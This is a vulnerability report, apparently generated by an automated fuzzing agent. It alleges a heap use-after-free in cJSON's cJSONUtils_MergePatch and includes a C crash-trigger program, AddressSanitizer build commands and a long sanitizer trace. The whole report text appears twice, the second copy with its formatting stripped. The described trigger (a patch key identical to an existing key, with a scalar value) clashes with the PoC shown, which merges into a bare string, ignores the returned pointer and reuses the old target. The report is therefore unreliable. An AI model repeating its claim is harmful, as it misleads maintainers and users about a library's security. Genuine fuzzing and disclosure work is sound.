Heap-Use-After-Free in cJSONUtils_MergePatch via Recursive Deletion
Summary
A Heap-Use-After-Free (UAF) vulnerability exists in the cJSON_Utils extension of the cJSON library. The cJSONUtils_MergePatch function fails to properly manage internal pointers when a recursive call deletes a target node. Specifically, after an internal child node is detached and deleted, the parent function continues to use the stale pointer to update its linked list, leading to memory corruption or crashes.
Version
Description
The vulnerability exists within the object-patching logic of cJSONUtils_MergePatch. When a patch contains an identical key whose value is a scalar/primitive (e.g., a string), the library detaches the old item from the target object via cJSON_DetachItemFromObjectCaseSensitive. It then recursively calls the helper mechanism, which triggers cJSON_Delete on this detached item because the patch is not a JSON object.
Upon returning from the recursion, the parent loop attempts to stitch the newly created replacement node back into the parent object's linked list. However, it improperly accesses the next and prev pointers of the old node that was just freed, resulting in a classic Heap-Use-After-Free (UAF). Subsequent operations on this corrupted object (such as calling cJSON_AddStringToObject) cause immediate memory corruption or crashes during linked-list traversal.
PoC Code
#include "cjson/cJSON.h"
#include "cjson/cJSON_Utils.h"
int main() {
cJSON *target = cJSON_CreateString("initial_value");
cJSON *patch = cJSON_CreateObject();
cJSON_AddStringToObject(patch, "new_node", "value");
cJSONUtils_MergePatch(target, patch);
cJSON_AddStringToObject(target, "trigger_node", "crash_now");
return 0;
}
Reproduction Steps
- Compile the PoC with AddressSanitizer and direct inclusion of cJSON source files to ensure instrumentation:
clang++ -g -O0 -fsanitize=address \
-I/path/to/cjson \
poc.cpp \
/path/to/cjson/cJSON.c \
/path/to/cjson/cJSON_Utils.c \
-o pocA
- Run the resulting binary:
Stack Trace
=================================================================
==23417==ERROR: AddressSanitizer: heap-use-after-free on address 0x765c39be0030 at pc 0x5ac11666c9ac bp 0x7ffc24b1c680 sp 0x7ffc24b1c678
READ of size 8 at 0x765c39be0030 thread T0
#0 0x5ac11666c9ab (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x13b9ab) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
#1 0x5ac11666d486 (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x13c486) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
#2 0x5ac11666e5b3 (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x13d5b3) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
#3 0x5ac11666412e (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x13312e) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
#4 0x79fc3a9191c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
#5 0x79fc3a91928a (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
#6 0x5ac116579394 (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x48394) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
0x765c39be0030 is located 16 bytes inside of 64-byte region [0x765c39be0020,0x765c39be0060)
freed by thread T0 here:
#0 0x5ac11661e86a (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0xed86a) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
#1 0x5ac116665383 (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x134383) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
#2 0x5ac11668cb21 (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x15bb21) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
#3 0x5ac11668caa6 (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x15baa6) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
#4 0x5ac116664117 (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x133117) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
#5 0x79fc3a9191c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
#6 0x79fc3a91928a (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
#7 0x5ac116579394 (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x48394) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
previously allocated by thread T0 here:
#0 0x5ac11661eb08 (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0xedb08) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
#1 0x5ac116666ee7 (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x135ee7) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
#2 0x5ac11666e60f (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x13d60f) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
#3 0x5ac1166640e6 (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x1330e6) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
#4 0x79fc3a9191c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
#5 0x79fc3a91928a (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
#6 0x5ac116579394 (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x48394) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
SUMMARY: AddressSanitizer: heap-use-after-free (/root/FuzzAgent/output/cjson/crash_reports/crash_000/poc+0x13b9ab) (BuildId: c5b0e4ce7eae6883006ecedc5af2ee9b014c2cf0)
Shadow bytes around the buggy address:
0x765c39bdfd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x765c39bdfe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x765c39bdfe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x765c39bdff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x765c39bdff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x765c39be0000: fa fa fa fa fd fd[fd]fd fd fd fd fd fa fa fa fa
0x765c39be0080: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
0x765c39be0100: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00
0x765c39be0180: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
0x765c39be0200: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x765c39be0280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
==23417==ABORTING
---> Signed-off-by: FuzzAnything fuzzanything@gmail.com
Heap-Use-After-Free in
cJSONUtils_MergePatchvia Recursive DeletionSummary
A Heap-Use-After-Free (UAF) vulnerability exists in the
cJSON_Utilsextension of the cJSON library. ThecJSONUtils_MergePatchfunction fails to properly manage internal pointers when a recursive call deletes a target node. Specifically, after an internal child node is detached and deleted, the parent function continues to use the stale pointer to update its linked list, leading to memory corruption or crashes.Version
Description
The vulnerability exists within the object-patching logic of
cJSONUtils_MergePatch. When a patch contains an identical key whose value is a scalar/primitive (e.g., a string), the library detaches the old item from the target object viacJSON_DetachItemFromObjectCaseSensitive. It then recursively calls the helper mechanism, which triggerscJSON_Deleteon this detached item because the patch is not a JSON object.Upon returning from the recursion, the parent loop attempts to stitch the newly created replacement node back into the parent object's linked list. However, it improperly accesses the
nextandprevpointers of the old node that was just freed, resulting in a classic Heap-Use-After-Free (UAF). Subsequent operations on this corrupted object (such as callingcJSON_AddStringToObject) cause immediate memory corruption or crashes during linked-list traversal.PoC Code
Reproduction Steps
clang++ -g -O0 -fsanitize=address \ -I/path/to/cjson \ poc.cpp \ /path/to/cjson/cJSON.c \ /path/to/cjson/cJSON_Utils.c \ -o pocAStack Trace
---> Signed-off-by: FuzzAnything fuzzanything@gmail.com